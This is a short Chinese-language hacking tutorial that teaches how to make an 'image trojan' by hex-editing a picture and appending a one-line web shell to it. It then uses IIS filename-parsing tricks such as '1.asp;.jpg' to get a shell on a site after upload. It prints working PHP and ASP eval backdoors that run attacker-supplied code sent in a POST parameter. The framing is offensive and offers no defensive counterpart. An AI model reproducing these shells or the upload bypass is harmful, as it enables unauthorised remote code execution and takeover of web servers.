详解制作图片一句话木马

大家好，我是黑吧安全网的天狼，今天给大家做一个小教程 
很多人都在问我怎么制作图片马  <顾名思义就是在图片内插入一句话马> 在后台拿shell的时候根据IIS解析来拿下shell  如：1.asp;.jpg   1.asp;jpg    在上传前   只判断是否为图片文件，在上传后就没有那么严格的过滤了   系统就会把图片当做asp文件来执行！
看操作！
随便找一张图片

用16进制进行查看   打开我们的图片

然后将php或者asp一句话插在底部或者顶部！


php一句话：<?php @eval($_POST['pass']);?>

asp一句话：<%eval request('pass')%>

我将代码插在了底部， 图片刚没反应过来···

现在图片和原来一样 ！


这样图片马就成功做成了！

so easy!